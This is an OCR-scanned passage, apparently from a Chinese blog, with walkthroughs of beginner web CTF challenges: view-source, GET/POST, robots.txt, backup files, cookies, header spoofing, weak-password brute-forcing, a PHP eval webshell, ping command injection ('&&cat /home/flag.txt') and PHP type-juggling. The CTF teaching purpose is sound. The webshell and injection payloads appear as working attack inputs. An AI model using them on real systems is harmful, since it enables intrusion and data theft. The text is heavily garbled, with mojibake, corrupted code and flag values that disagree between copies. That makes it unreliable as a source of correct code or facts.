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{!DOCTYPE html>
<html lang="en”>
<head>
{meta charset="UTF-8">
{title>Where is the FLAG(/title>
{/head>
<body>
{script>
document. oncontextmenu=new Function(”return false”)
document. onselectstart=new Function("return false”)
{/script>

<h1>FLAG is not here<{/hl>
{!— cyberpeace {aeb15780d11a5ba6093ab97272733031} —>

<{/body>
</html>

flag:cyberpeace{ae515780d11a5ba6093ab97272733031}

0x02 get_post

R 8 http://111.198.29.45:43568/
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L BATHPOST AR 32 —AME N2H A &b
FburpI &,

GET /?a=1 HITP/1.1

Host: 111.198.29.45:43568

User-Agent: Mozilla/5.0 (Windows NT 10.0:; Win64:; x64;
rv:64.0) Gecko/20100101 Firefox/64.0

Accept:

text/html, application/xhtml+xml, application/xml ;q=0.9, */%;
q=0. 8

Accept—Language:

zh—CN, zh;q=0. 8, zh—TW;q=0. 7, zh—HK ; q=0. 5, en-US ; ¢=0. 3, en;q=0.
2
Accept—Encoding: gzip, deflate
Connection: close

Cookie: look—here=cookie. php
Upgrade—Insecure—Requests: 1
Cache—Control: max—age=0

XREMERER
1. BATKE S 88— 4T UK POST Fm Lurl

POST http://111.198.29.45:43568/?a=1 HTTP/1.1

2.POST k& B #% 20 B

Content-Type: application/x-www-form-urlencoded

3.postBEb=2

b=2



BIAr45 2lflag

Go | Cancel <|v >|v Target: http:m11.198.29.45:43568M ?

Request Response

JRaw[Params[Heeders ‘Hexl / JRaw[Headers[Hex{HTML[Render}

POST http://111.198.29. 45:43568/?a=1 HTTP/1. ll_ ¢ Date: Wed, 24 Jul 2019 07:43:23 GMT ‘

Host: 111.198.29.45:43568 Server: Apache/2.4.7 (Ubuntu)

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64; X-Powered-By: PHP/5. 5. 9-1ubuntu4. 26

rv:64.0) Gecko/20100101 Firefox/64.0 Vary: Accept-Encoding

Accept: Content—Length: 427

text/html, application/xhtml+xml, application/xml ;q=0. 9, #*/%; Connection: close

q=0. 8 Content-Type: text/html

Accept—-Language:

zh—CN, zh;q=0. 8, zh—-TW;q=0. 7, zh—HK ; ¢=0. 5, en-US ; g=0. 3, en;q=0. <IDOCTYPE html>

2 <html lang="en”>

Accept-Encoding: gzip, deflate <head>

Connection: close <{meta charset="UTF-8">

Cookie: look-here=cookie. php <title>POST&GET</title>

Upgrade—-Insecure—Requests: 1 <link

Cache—Control: max—age=0 href="http://1ibs. baidu. com/bootstrap/3. 0. 3/css/bootstrap.

Content—Type: application/x-www—form-urlencoded | min. css” rel="stylesheet” />

Content—Length: 5

- </head>

[b=2 <body>
<D RGETTT U3 — A4 Na, (N 1RAE H</hl>
<h1> ¥ 113 APOST 75 o Bl A5 2 32 — > 44 b, M R2HIA8 B </h1><h
1>cyberpeace {2ba85496b616b36d30c6ad92ff515de3} </hl1>
</body>
</html>

flag:cyberpeace{2ba85496b616b36d30c6ad92ff515de3}

0x03 robots

BB http://111.198.29.45:49016/

BB k. X LR YET RobotstMil, /N [F2EH FIRIT T HEEE, #FER## /T Robots h il & H 4 e,

Robots.txt £ AEu: MR B R T —ANACAR S, FF Bizoct 2] OB BB BT U R K. BARERREMRESR, HRE
FAIRIEKR. BV LAREE Rk RIUE AR, B A5 1E18 R 5] ik 5T ik 1) 3 4 B SN A

Bt AFATIE urlj5 T b0 _Erobots BN AT &F B EH A A

http://111.198.29.45:49016/robots.txt

& C ® ) 111.198.29.45:49016/robots.txt

User—agent: *
Disallow:
Disallow: flag 1s h3re. php

Al LLE BEM1ag_1s_h3re.php, FTIFENEFE Flflag

http://111.198.29.45:49016/f1ag_1s_h3re.php
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& C @ ® 111.198.29.45:49016/f1ag 1s h3re.php

cyberpeace{325d76a58b7efde0ecc0976f86b30bbd}

flag: cyberpeace{325d76a58b7efde0ecc0976f86b30bbd}

0x04 backup

FH BERE: hitp://111.198.29.45:57896/
AR XZITSC IR % 00 50, AR/ T [ 5 2510 4 4 SOPF 3 H R, — i SR /N 7 [ 220 !

(® 111.198.29.45:57896
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SR BAK X4 (500 =7)
kiB:  http://111.198.29.45:57896
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<html> ~
<head>
<meta charset="UTF-8">
<title> &34 < /title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>{RENiEindex.phpAIEHERZE? </h3>
<?php
$flag="cyberpeace{bb6dc423e4101660b2193b6d780a0b07b}"
?>
</body>
</html> v
< tips:/blog.csdn.net/ AN

flag:cyberpeace{b6dc423e4101660b2193b6d780a0b07b}
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FH BEHE: hitp/111.198.29.45:59633/
A H R XZM &R T fhEcookie BB T HARE, MTREBMM: XRROHPTHEEG?
RITBEE

(® 111.198.29.45:59633

{FREIEH AR cookiels?

#%F12, EEHEHRA

alert(document.cookie)

# 1 cookie

look-here=cookie.php

https://blog.csdn.net/at

$&7~F 1cookie.php

http://111.198.29.45:59633/cookie.php
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BN JG 375 httpi B2
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SR ERhttp response

Go | Cancel < |v > |v

Request

J Raww Params [ Headers ‘ Hex ‘

Target: http://111.198.29.45:59633 ¢ | 7

Response

J Raww Headers [ Hex [ HTML [ Render l

GET /cookie. php HITP/1. 1

Host: 111.198.29.45:59633

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:64.0) Gecko/20100101 Firefox/64.0

Accept:

q=0. 8
Accept—Language:

2
Accept—Encoding: gzip, deflate
Connection: close

Cookie: look-here=cookie. php
Upgrade—Insecure—Requests: 1
Cache—Control: max—age=0

flag: cyberpeace{4488ed459f0ab920544fc0430c430cch}

0x06 disabled button

BH 4 hitp://111.198.29.45:38783/

text/html, application/xhtml+xml, application/xml;q=0.9, */*;:

zh—CN, zh;q=0. 8, zh—TW;q=0. 7, zh—HK ; ¢=0. 5, en-US :¢=0. 3, en;q=0

7=l

¢ HTTP/1.1 200 OK
Date: Wed, 24 Jul 2019 08:24:14 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5. 5. 9-1ubuntu4. 26
[flag: cvberpeace {4488ed459f0ah9205441c0430c430¢cch)|
Vary: Accept-Encoding
Content—-Length: 411
Connection: close
Content—Type: text/html

<html>
<head>
<{meta charset="UTF-8">
<title>Cookie</title>

<link
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<html> event .

O % HTML & T TRER + B ods B R OMEE #E
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¥
body 1 { PR 2 ITELLREEAE CSS RS
margin-left: auto; -
margin-right: auto; aRn
margin-TOP: 200PX;
width: 20em;
K margin 200

T T A s B R B h 18 ok R iflagiidll, AEESTERENE

<html> levent

<head> (=) </head> -
<body>
<h3>— AR < /3>

<form action="" method="post">

<input class="btn btn-default" disabled="" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
</form>
</body>
</html>

Wit br2E i idisabled=""K H 4, PRIKZHARTL AT T, Kz #5 2 flag

— A BEiZRYIREH

flag

cyberpeace{e1cf3688c97e71e5dffb2614e037afc’}

flag:cyberpeace{e1cf3688c97e71e5dffb2614e037afc7}
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H . http://111.198.29.45:35187/
BE#R: MNP RIT =AM, EH—BEHANEG. (Flagik®h Cyberpeace {00000t )
BNE, ERBAENL, FEERA—, RRER

FAUX PASSWORD HAHA
PE Lt TR E G B S X TEAE

HEIEY

function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',");var i,j,k,I=0,m,n,0,p = "";i = 0;j = tab.length;
k=j+(I) + (n=0);
n = tab2.length;
for(i = (0=0); i < (k =j =n); i++ )}{o = tabli-l];p += String.fromCharCode((o = tab2[i]));

if(i == 5)break;}
for(i = (0=0); i < (k =j =n); i++ ){
o = tabl[i-I];

if(i > 5 && i <k-1)
p += String.fromCharCode((o = tab2][i]));

}
p += String.fromCharCode(tab2[17]);

pass = p;return pass;

}
String["fromCharCode"](dechiffre("\x35\x35\x2¢c\x35\x36\x2¢c\x35\x34\x2¢c\x37\x39\x2¢c\x3 1\x3 1\x35\x2c\x36\x39\x2¢c\x3 1\x3 1\x34\x2¢c\x31\x31\x3

6\x2c\x31\x30\x37\x2¢\x34\x39\x2¢\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

BB Z JEBRATRIL, fEdechiffre()Ri %, FFEAMEABIRNMAKpass_encZE, 2 EBMNTRBAKELRZ D,
0 H AR R —FERY

Hsch a2

pass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"

¥ Rasciify

F.AUX P.ASSW,ORD, HAHA


http://111.198.29.45:35187/

BB TEHA &

"X35\x35\x2¢\x35\x36\x2¢\x35\x34\x2c\x37\x39\x2¢c\x3 1\x3 1\x35\x2c\x36\x39\x2c\x3 1\x3 1\x34\x2c\x3 1\x3 1\x36\x2¢\x3 1\x30\x3 7\x2c\x34\x39\x2c\x
35\x30"

AR F A - 2 A
"55,56,54,79,115,69,114,116,107,49,50"

BRAF BpassiRE, AT HERasciifd

"7,8,6,0,s,E,r,tk,1,2"

W35 B ik flaghs A Cyberpeace{ooooooed, 3T JE H-AZ N
flag:Cyberpeace{7860sErtk12}

0x08 xff_referer

B H 4% http://111.198.29.45:52190/

REE R : XM R/ 7 H SExffilreferer2 1] LAOYIE Y .
HEJE HRip it 4 4 59123.123.123.123

e, Btk

X-Forwarded-For:123.123.123.123

Go | Cancel [ L |v| > |v Target: http://111.198.29.45:52190 ¢ || 7

Request Response
JRaw{ Params {Headers {Hex} JRaw{ Headers [ Hex { HTML [ Render}
GET / HITP/1.1 ¢ Cormmection: close
Host: 111.198.29.45:52190 Content-Type: text/html
User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64; x64:
rv:64.0) Gecko/20100101 Firefox/64.0 <html >
Accept: <head>
text/html, application/xhtml+xml, application/xml;q=0. 9, */*; <meta charset="UTF-8">
q=0. 8 <(titlevindex</title>
Accept—-Language: <link
zh—CN, zh:q=0. 8, zh-TW:g=0. 7, zh-HK:¢=0. 5, en-US ; q=0. 3, en:q=0. href="http://libs. baidu. com/bootstrap/3. 0. 3/css/bootstrap.
2 min. css” rel="stylesheet” />
Accept-Encoding: gzip, deflate g <style>
Connection: close body {
Cookie: look-here=cookie. php margin—-left:auto;
X-Forwarded-For:123. 123. 123. 123 margin-right:auto;
Upgrade—Insecure—Requests: 1 margin—TOP:200PX;
Cache—Control: max—age=0 width:20em;
}
\ /style>
</head>
<" demo”>ipHihk A A N123. 123. 123. 123</p>
ocument. getElementByld ("demo”). innerHTML="
ik Hhttps://www. google. com” ;</script></bhody>
</html>

XIRRIAT TSR H https:/mww.google.com
Bk

Referer:https://www.google.com


http://111.198.29.45:52190/

1Em B B E Flflag

Go | Cancel < |v >|v

Request
JRawW Params { Headers [ Hex }

JRaw{ Headers {Hex [ HTML [ Render‘

Target: http://111.198.29.45:52190 | & | 7

Response

GET / HTTP/1.1

Host: 111.198.29.45:52190

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64:
rv:64.0) Gecko/20100101 Firefox/64. 0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, */*;

q=0. 8
Accept—Language:

zh—CN, zh;q=0. 8, zh—-TW;q=0. 7, zh-HK ;q=0. 5, en—US ; ¢=0. 3, en;q=0.

2

Accept-Encoding: gzip,
Connection: close
Cookie: look-here=cockie.php _
X*Forwarded*For:lZS.lZS.123.123‘-—-_-_______————;—,/,
Referer: https://www. google. com
Upgrade-Insecure-Requests: 1

Cache—Control: max—age=0

deflate

flag: cyberpeace{f02319a2ebf8ab3e562edab690a71575}

0x09 weak_auth

R H BERE: hitp:/111.198.29.45:49429/
BHRR: NTET - NERBERE, BEPERET —ED.
BATBEE AN — IS

RN % admin A Ik 5 B b

.

please login as admin

<html>
<head>
<meta charset="UTF-8">
{(title>index</title>
<{link
href="http://1ibs. baidu. com/bootstrap/3. 0. 3/css/bootstrap.
min. css” rel="stylesheet” />
{style>
body {
margin-left:auto;
margin-right:auto;
margin—-TOP:200PX;
width:20em;
}
/style>
</head>
<{body>
<p id="demo”>ipHuht A% N123. 123. 123. 123</p>
<script>document. getElementById ("demo”). innerHTML="
ik Hhttps://www. google. com” ;<{/script>{script>do
cument. getElementById("demo”). innerHTML="cyberpeac
e {f02319a2ebf8ab3e562edab690a71575} " ;</script></hody

hitps:/fblog.csdn.net/aB895963248

FERRG T EATAT LB BRI TR T, BATAT DU X T8 R 5 22 ) i



http://111.198.29.45:49429/

Qg @ @ view-source:http://111.198.29.45:49429/check.php

<IDOCTYPE html>
<html lang="en”>
<head>
{meta charset="UTF-8">
title>weak auth</title>
</head>
<body>

{scriptralert ( please login as admin’) :</scriptp </—maybe you need a dictionary—>

</body>
</html>

MEpasswordB AR, BMATFH, HTRHE (FRAFTERESR, XEHEBDIEEFER)

4] Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

[Target[ Proxy [Spider [ Scanner ] Intruder{ Repeater [ Sequencer { Decoder { Comparer { Extender [ Project options {User options XAIerts ‘

11238 ...

[Target] Positions X Payloads [Options }

@ Payload Positions

which payloads are assigned to payload positions - see help for full details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in

Start attack

Attack type: | Sniper

POST /check. php HTTP/1.1

Host: 111.198.29.45:49429

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, */%:q=0.8
Accept—Language: zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ;q=0. 5, en-US;q=0. 3, en;q=0. 2
Accept—Encoding: gzip, deflate

Referer: http://111.198.29. 45:49429/

Content—Type: application/x—www—form-urlencoded

Content-Length: 25

Connection: close

Cookie: look-here=cookie. php

Upgrade—Insecure—Requests: 1

username=admin&password=8§ 1 §

T

Add §
Clear §
Auto §
Refresh

9
v

@ B B B Type a search term

1 payload position

0 matches Clear

Length: 543

X B ] AE B #151234 563K [] K 2 BRH A BG4 —

Attack Save Columns

J Resultsharget [ Positions [ Payloads [ Options l

i‘FiIter: Showing all items




i Request « Payload Status Error Timeout ‘Length ‘Comment
o 200 o O 434
11 200 o O 434
|2 123456 200 o o 437
3 12345 200 =) =) 434
|4 123456789 200 =) =) 434
15 Password 200 a a 434
| 6 iloveyou 200 =] =] 434
7 princess 200 a a 434
8 rockyou 200 =] =] 434
9 1234567 200 O O 434
10 12345678 200 =) =) 434
11 abc123 200 O O 434
12 admin888 200 =) =) 434
13 admin123 200 = = 434
AT 1234561 A ELH#TER, 153flag
& C ® @ 111.198.29.45:49429/check.php

cyberpeace {9ea02cbfbf8c167a3e0520bcb213d91c}

flag: cyberpeace{9ea02cbfbf8c167a3e0520bcb213d9fc}

0x0a webshell

FH BERE: hitp/111.198.29.45:58974/
BH R : T EE T php— )i, 5 RA B8, I BB EEindex php & .

{F&{EHwebshelll?

<?php @eval($ POST['shell']);?>

7 DU B — )ik D 014 Hyshell
P TIE

http://111.198.29.45:58974/index.php


http://111.198.29.45:58974/

B il THE]

ks [http: /7111, 198. 29, 45:53055/1ndex. php| | shell
BiE:
=%
EIET v |[prpiEval) ~|[cB2312 ~| g
A LB B —Mag.txt, FTIFEIA8 Fflag
O Si11.198.29.45 + > =0X
& rvarfeve/minl/ cv | Em SHI= 2019-07-24 AR
111.198.29. 45 BF0), %if(2) E=to Bia ol B B iﬁl’-'?#SI
i B/ () flag. txt 2019-07-24 07:15:12 44 0664 s
B3 var . ] Type
| B ) v [ index. php 2018-09-27 04:02:04 539 0664 Egigae
¢ =) iR

GB2312

flag:cyberpeace{74fea3cfddbabbfdc6bfba5b38300b08}

0x0b command_execution




FEH BEHE: hitp://111.198.29.45:39476/
FEE#R: NTE T A pingZhfe HEA Swaf XEM& X RIEFBREK, REuEAH2E,

= C © () 111.198.29.45:39476

PING

5T EpingHItBE

PING

ping -c 3 111.198.29.45

PING 111.198.29.45 (111.198.29.45) 56(84) bytes of data.

64 bytes from 111.198.29.45: icmp_seq=1 ttl=254 time=1.26 ms
64 bytes from 111.198.29.45: icmp_seq=2 ttl=254 time=0.966 ms
64 bytes from 111.198.29.45: icmp_seq=3 ttl=254 time=1.09 ms

--- 111.198.29.45 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = ©.966/1.109/1.265/0.125 ms

FAIping— T XA H Kybdik, 7T LAE BT H 8 fr &

ping -¢ 3 111.198.29.45

WRHE THRERAZE, BRI LUENRARINXRSR, BINZRAEGLSFEIHE s, BEFTHRXMH

111.198.29.45848s /


http://111.198.29.45:39476/

ping -c¢ 3 111.198.29.45&&1s /

PING 111.198.29.45 (111.198.29.45) 56(84) bytes of data.

64 bytes from 111.198.29.45: icmp_seq=1 ttl=254 time=1.09 ms
64 bytes from 111.198.29.45: icmp_seq=2 ttl=254 time=1.15 ms
64 bytes from 111.198.29.45: icmp_seq=3 ttl=254 time=1.12 ms

--- 111.198.29.45 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 1.099/1.125/1.151/60.021 ms
bin

boot

dev

etc

home

lib

1lib6e4

media

mnt

opt

proc

root

run

run.sh

sbin

Srv

sys

tmp

usr

var

RIVRVT DE G H P 620, ARIKITIFRATAT LAZEhome XU Sk 4R B —AMlag bt SC A, 4T 7F /5 Bl AT 15 Zlflag

ping -¢ 3 111.198.29.4588&Is /home
ping -¢ 3 111.198.29.458&cat /home/flag.txt



ping -c 3 111.198.29.458&cat /home/flag.txt

PING 111.198.29.45 (111.198.29.45) 56(84) bytes of data.

64 bytes from 111.198.29.45: icmp_seq=1 ttl=254 time=1.15 ms
64 bytes from 111.198.29.45: icmp_seq=2 ttl=254 time=1.07 ms
64 bytes from 111.198.29.45: icmp seq=3 ttl=254 time=1.05 ms

--- 111.198.29.45 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 1.056/1.091/1.153/0.058 ms
cyberpeace{d8580c990161b96eb46aa5ce2ce51b6c}

flag:cyberpeace{d8580c990161b96eb46aa5ce2ce51b6c}

0x0c simple_php

BB H %% ¥ http://111.198.29.45:43030/
BHR: NFriliphpREGHRIES, TREMAXEIZES T )LTphpRiE,
phpRA% T

<?php
show_source(__FILE_);
include("config.php");
$a=@$_GET[a";
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}

?>

ST, EXR¥Aa, b, BRa==0a R N0, XERIITULa=0+EEFE
bARE B HbE KT 1234, 4b=12345+FEF &

http://111.198.29.45:43030/?a=0a&&b=12345a


http://111.198.29.45:43030/

< C @

<{?php

show_source(_ FILE ):
include (“config. php”) :

$a=0$ GET[ a ]:

$b=@$ GET[' b ];

if(§a==0 and $a){
echo $flagl;

}

if (is numeric ($b)) {
exit();

}

if ($b>1234) {
echo $flag2:
}

?>

® 111.198.29.45:43030/?a=0a&&b=12345a

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

flag: <?php

show_source(FILE);

include(“config.php”);

a=@ ~

GET[a’];

b= @ -GET[D’);

if($a==0 and $a){
echo KaTeX parse error: Expected 'TEOF’, got '}’ at position 8: flagl; } if(is_numeric(b)){
exit();

}

if($h>1234){
echo $flag2;

}

?

>

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
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